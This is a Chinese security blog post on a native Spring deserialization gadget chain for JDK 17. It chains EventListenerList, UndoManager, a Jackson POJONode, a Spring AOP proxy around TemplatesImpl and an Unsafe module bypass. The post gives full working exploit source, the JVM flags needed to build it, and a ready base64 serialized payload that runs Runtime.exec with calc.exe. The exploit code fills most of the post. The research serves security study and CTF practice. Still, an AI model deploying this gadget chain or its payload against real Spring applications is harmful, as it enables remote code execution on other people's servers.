高版本JDK下的Spring原生反序列化链

前言

昨晚上jsjcw师傅在《Java安全share》星球提到的高版本JDK下的spring原生链可谓一石激起千层浪,让整个安全圈炸开了锅,今天正好认真研究一下。

img

环境搭建

起一个jdk17的maven环境:

img

在pom.xml里加入spring依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>com.suctf</groupId>
  <artifactId>Spring</artifactId>
  <version>1.0-SNAPSHOT</version>

  <properties>
      <maven.compiler.source>17</maven.compiler.source>
      <maven.compiler.target>17</maven.compiler.target>
      <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
      <dependency>
          <groupId>org.springframework.boot</groupId>
          <artifactId>spring-boot-starter-web</artifactId>
          <version>3.5.4</version>
      </dependency>

      <dependency>
          <groupId>org.javassist</groupId>
          <artifactId>javassist</artifactId>
          <version>3.30.2-GA</version>
      </dependency>
  </dependencies>
</project>

漏洞分析

在很多年前写java笔记的时候提到过jackson反序列化链,就是经典的aliyunctf Bypassit,当时比赛的时候就是需要找到一条spring的原生反序列化链子,利用的就是spring里自带的jackson。

当时的打法是,由于在jackson中 POJONode#toString 方法可以调用getter方法,所以我们可以利用getter调 getOutputProperties 以此实现RCE,然后再找个地方去触发 POJONode#toString ,当时利用的是 BadAttributeValueExpException#readObject,这是一个原生类,在readObject的时候就触发了 toString

img

只不过在JDK17里BadAttributeValueExpException利用不了了,没有触发toString的点了:

img

这里我们需要选择一个新的入口:EventListenerList#readObject,可以参考这个师傅的文章:EventListenerList触发任意toString,利用字符串与对象的拼接触发toString

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
      EventListenerList list = new EventListenerList();
      UndoManager undomanager = new UndoManager();

      //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
      Vector vector = (Vector) getFieldValue(undomanager, "edits");
      vector.add(obj);

      setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
      return list;
  }

JDK 9 开始,Java 引入了 JPMS(Java Platform Module System,模块系统),也就是著名的 Project Jigsaw。在 JDK 17 里,这一机制已经被完全强化,具体体现为:

  • 内部 API 封装:以前我们可以随意 import com.sun.* 或者 sun.* 的内部类,但在 JDK 17,这些类已经被模块系统强封装,默认不可访问。
  • 强封装机制:模块之间的可见性由 module-info.java 描述,如果某个包没有被 exports,外部模块就无法直接访问。
  • 反射限制:在 JDK 8 及之前,我们常常通过 setAccessible(true) 绕过 private 限制,反射访问类的私有字段或构造函数。但在 JDK 17 里,即使你用 setAccessible(true),也会被 InaccessibleObjectException 拦住,除非你在 JVM 启动时手动加 --add-opens 参数开放模块或者使用 Java Agent/Instrumentation 来打破封装。

因此,jdk17 会进行模块检测导致我们无法直接利用 getOutputProperties

那么现在最关键的问题,就是如何在jdk17之中利用getOutputProperties ,长期以来,网上的各种文章都提到高版本下利用getOutputProperties 是不可能的。在大B哥的博客里,我找到了大伙以往是怎么在JDK17绕模块化的,核心就是利用 Unsafe 篡改 Module 机制,从而绕过 JDK 的强封装(模块访问限制):

private static Method getMethod(Class clazz, String methodName, Class[]
          params) {
      Method method = null;
      while (clazz!=null){
          try {
              method = clazz.getDeclaredMethod(methodName,params);
              break;
          }catch (NoSuchMethodException e){
              clazz = clazz.getSuperclass();
          }
      }
      return method;
  }
  private static Unsafe getUnsafe() {
      Unsafe unsafe = null;
      try {
          Field field = Unsafe.class.getDeclaredField("theUnsafe");
          field.setAccessible(true);
          unsafe = (Unsafe) field.get(null);
      } catch (Exception e) {
          throw new AssertionError(e);
      }
      return unsafe;
  }
  public void bypassModule(ArrayList<Class> classes){
      try {
          Unsafe unsafe = getUnsafe();
          Class currentClass = this.getClass();
          try {
              Method getModuleMethod = getMethod(Class.class, "getModule", new
                      Class[0]);
              if (getModuleMethod != null) {
                  for (Class aClass : classes) {
                      Object targetModule = getModuleMethod.invoke(aClass, new
                              Object[]{});
                      unsafe.getAndSetObject(currentClass,
                              unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                  }
              }
          }catch (Exception e) {
          }
      }catch (Exception e){
          e.printStackTrace();
      }
  }

在这里需要注意一个很重要的点,在以往我们利用TemplatesImpl 的时候,被利用的目标都需要继承 AbstractTranslet ,但在高版本下肯定是不行的,因为必然涉及到模块化的检测导致报错:

img

其实很早之前就有师傅的文章提到过,我们利用的类其实是不一定需要继承 AbstractTranslet 类的:TemplatesImpl 分析,构造方法如下:

        TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "xxx");
      setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
      setFieldValue(templates,"_transletIndex",0);

JDBC Attack与高版本JDK下的JNDI Bypass里提到过,JdkDynamicAopProxy可以用于解决jackson中的getter稳定触发问题:

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
      AdvisedSupport advisedSupport = new AdvisedSupport();
      advisedSupport.setTarget(templates);
      Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
      Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
      return proxy;
  }
img

除此之外,JdkDynamicAopProxy还有一个更加重要的作用,如果没有aop的话,jackson没法为TemplatesImpl创建一个新的类:

img

因为直接传入 TemplatesImpl 对象的话,com.sun.org.apache.xalan.internal.xsltc.trax 没有 export 给外部,所以会出现报错。但是经过 AOP 代理之后,对外暴露的接口是 javax.xml.transform.Templates,在 java.xml 模块中是公开 exports 的,所以能正常反序列化,最后由代理 AOP 调用 getOutputProperties 实现RCE,Jackson 只是正常调用了接口方法,代理帮它把调用转发到了 TemplatesImpl

完整代码如下:

import javax.swing.event.EventListenerList;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
  public static void main(String[] args) throws Exception{
      // 删除writeReplace保证正常反序列化
      try {
          ClassPool pool = ClassPool.getDefault();
          CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
          CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
          jsonNode.removeMethod(writeReplace);
          ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
          jsonNode.toClass(classLoader, null);
      } catch (Exception e) {
      }

      // 把模块强行修改,切换成和目标类一样的 Module 对象
      ArrayList<Class> classes = new ArrayList<>();
      classes.add(TemplatesImpl.class);
      classes.add(POJONode.class);
      classes.add(EventListenerList.class);
      classes.add(SpringRCE.class);
      classes.add(Field.class);
      classes.add(Method.class);
      new SpringRCE().bypassModule(classes);

      // ===== EXP 构造 =====
      byte[] code1 = getTemplateCode();
      byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();

      TemplatesImpl templates = new TemplatesImpl();
      setFieldValue(templates, "_name", "xxx");
      setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
      setFieldValue(templates,"_transletIndex",0);

      POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

      EventListenerList eventListenerList = getEventListenerList(node);

      serialize(eventListenerList, true);
  }

  public static byte[] serialize(Object obj, boolean flag) throws Exception {
      ByteArrayOutputStream baos = new ByteArrayOutputStream();
      ObjectOutputStream oos = new ObjectOutputStream(baos);
      oos.writeObject(obj);
      oos.close();
      if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
      return baos.toByteArray();
  }

  public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
      AdvisedSupport advisedSupport = new AdvisedSupport();
      advisedSupport.setTarget(templates);
      Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
      constructor.setAccessible(true);
      InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
      Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
      return proxy;
  }

  public static byte[] getTemplateCode() throws Exception {
      ClassPool pool = ClassPool.getDefault();
      CtClass template = pool.makeClass("MyTemplate");
      String block = "Runtime.getRuntime().exec(\"calc.exe\");";
      template.makeClassInitializer().insertBefore(block);
      return template.toBytecode();
  }

  public static EventListenerList getEventListenerList(Object obj) throws Exception{
      EventListenerList list = new EventListenerList();
      UndoManager undomanager = new UndoManager();

      //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
      Vector vector = (Vector) getFieldValue(undomanager, "edits");
      vector.add(obj);

      setFieldValue(list, "listenerList", new Object[]{Class.class, undomanager});
      return list;
  }

  private static Method getMethod(Class clazz, String methodName, Class[]
          params) {
      Method method = null;
      while (clazz!=null){
          try {
              method = clazz.getDeclaredMethod(methodName,params);
              break;
          }catch (NoSuchMethodException e){
              clazz = clazz.getSuperclass();
          }
      }
      return method;
  }
  private static Unsafe getUnsafe() {
      Unsafe unsafe = null;
      try {
          Field field = Unsafe.class.getDeclaredField("theUnsafe");
          field.setAccessible(true);
          unsafe = (Unsafe) field.get(null);
      } catch (Exception e) {
          throw new AssertionError(e);
      }
      return unsafe;
  }
  public void bypassModule(ArrayList<Class> classes){
      try {
          Unsafe unsafe = getUnsafe();
          Class currentClass = this.getClass();
          try {
              Method getModuleMethod = getMethod(Class.class, "getModule", new
                      Class[0]);
              if (getModuleMethod != null) {
                  for (Class aClass : classes) {
                      Object targetModule = getModuleMethod.invoke(aClass, new
                              Object[]{});
                      unsafe.getAndSetObject(currentClass,
                              unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
                  }
              }
          }catch (Exception e) {
          }
      }catch (Exception e){
          e.printStackTrace();
      }
  }

  public static Object getFieldValue(Object obj, String fieldName) throws Exception {
      Field field = null;
      Class c = obj.getClass();
      for (int i = 0; i < 5; i++) {
          try {
              field = c.getDeclaredField(fieldName);
          } catch (NoSuchFieldException e) {
              c = c.getSuperclass();
          }
      }
      field.setAccessible(true);
      return field.get(obj);
  }

  public static void setFieldValue(Object obj, String field, Object val) throws Exception {
      Field dField = obj.getClass().getDeclaredField(field);
      dField.setAccessible(true);
      dField.set(obj, val);
  }
}

生成的时候需要开一个vm的配置:

--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
img
img

然后读取数据进行反序列化,这里就不需要开配置了,全部默认即可:

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

public class Read {
  public static void unserialize(byte[] exp) throws Exception {
      ByteArrayInputStream bais = new ByteArrayInputStream(exp);
      ObjectInputStream ois = new ObjectInputStream(bais);
      ois.readObject();
  }
  public static void main(String[] args) throws Exception {
      String exp = "rO0ABXNyACNqYXZheC5zd2luZy5ldmVudC5FdmVudExpc3RlbmVyTGlzdJFIzC1z3w7eAwAAeHB0AA9qYXZhLmxhbmcuQ2xhc3NzcgAcamF2YXguc3dpbmcudW5kby5VbmRvTWFuYWdlcvF+nx0IKsIdAgACSQAOaW5kZXhPZk5leHRBZGRJAAVsaW1pdHhyAB1qYXZheC5zd2luZy51bmRvLkNvbXBvdW5kRWRpdKWeULpT25X9AgACWgAKaW5Qcm9ncmVzc0wABWVkaXRzdAASTGphdmEvdXRpbC9WZWN0b3I7eHIAJWphdmF4LnN3aW5nLnVuZG8uQWJzdHJhY3RVbmRvYWJsZUVkaXQIDRuO7QILEAIAAloABWFsaXZlWgALaGFzQmVlbkRvbmV4cAEBAXNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAABkc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWV0ABJMamF2YS9sYW5nL09iamVjdDt4cgAtY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuVmFsdWVOb2RlAAAAAAAAAAECAAB4cgAwY29tLmZhc3RlcnhtbC5qYWNrc29uLmRhdGFiaW5kLm5vZGUuQmFzZUpzb25Ob2RlAAAAAAAAAAECAAB4cHN9AAAAAQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgABTAAHYWR2aXNlZHQAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNlZFN1cHBvcnQ7eHBzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZEwAE2Fkdmlzb3JDaGFpbkZhY3Rvcnl0ADdMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0Fkdmlzb3JDaGFpbkZhY3Rvcnk7TAAKYWR2aXNvcktleXQAEExqYXZhL3V0aWwvTGlzdDtMAAhhZHZpc29yc3EAfgAbTAAKaW50ZXJmYWNlc3EAfgAbTAAMdGFyZ2V0U291cmNldAAmTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL1RhcmdldFNvdXJjZTt4cgAtb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLlByb3h5Q29uZmlni0vz5qfg928CAAVaAAtleHBvc2VQcm94eVoABmZyb3plbloABm9wYXF1ZVoACG9wdGltaXplWgAQcHJveHlUYXJnZXRDbGFzc3hwAAAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeQPJ50kFqahMAgAAeHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AInNxAH4AIQAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x/j6ugIAAUwABnRhcmdldHEAfgAOeHBzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAAAAAAAHVyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF/gGCFTgAgAAeHAAAAFiyv66vgAAADcAGQEACk15VGVtcGxhdGUHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEAD015VGVtcGxhdGUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAAhjYWxjLmV4ZQgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQAGPGluaXQ+DAAWAAgKAAQAFwAhAAIABAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABYACAABAAkAAAARAAEAAQAAAAUqtwAYsQAAAAAAAQAFAAAAAgAGdXEAfgAuAAAAosr+ur4AAAA3AAwBAAlmdXNodWxpbmcHAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEADmZ1c2h1bGluZy5qYXZhAQAGPGluaXQ+AQADKClWDAAHAAgKAAQACQEABENvZGUAIQACAAQAAAAAAAEAAQAHAAgAAQALAAAAEQABAAEAAAAFKrcACrEAAAAAAAEABQAAAAIABnB0AAN4eHhwdwEAeHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHBwcHgAAAAAAAAAZHB4";
      unserialize(Base64.getDecoder().decode(exp));
  }
}
img

总结

感觉大部分的点网上早就有文章提到过了,可能就是缺一个师傅给他们串起来吧😂

评论

  1. Thanatos
    4 周前
    2025-8-27 18:06:23

    您好 请问已经配置了–add-opens=java.base/sun.nio.ch=ALL-UNNAMED –add-opens=java.base/java.lang=ALL-UNNAMED –add-opens=java.base/java.io=ALL-UNNAMED –add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED –add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED –add-opens=java.base/java.lang.reflect=ALL-UNNAMED 还是显示module does not export 怎么办呢

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇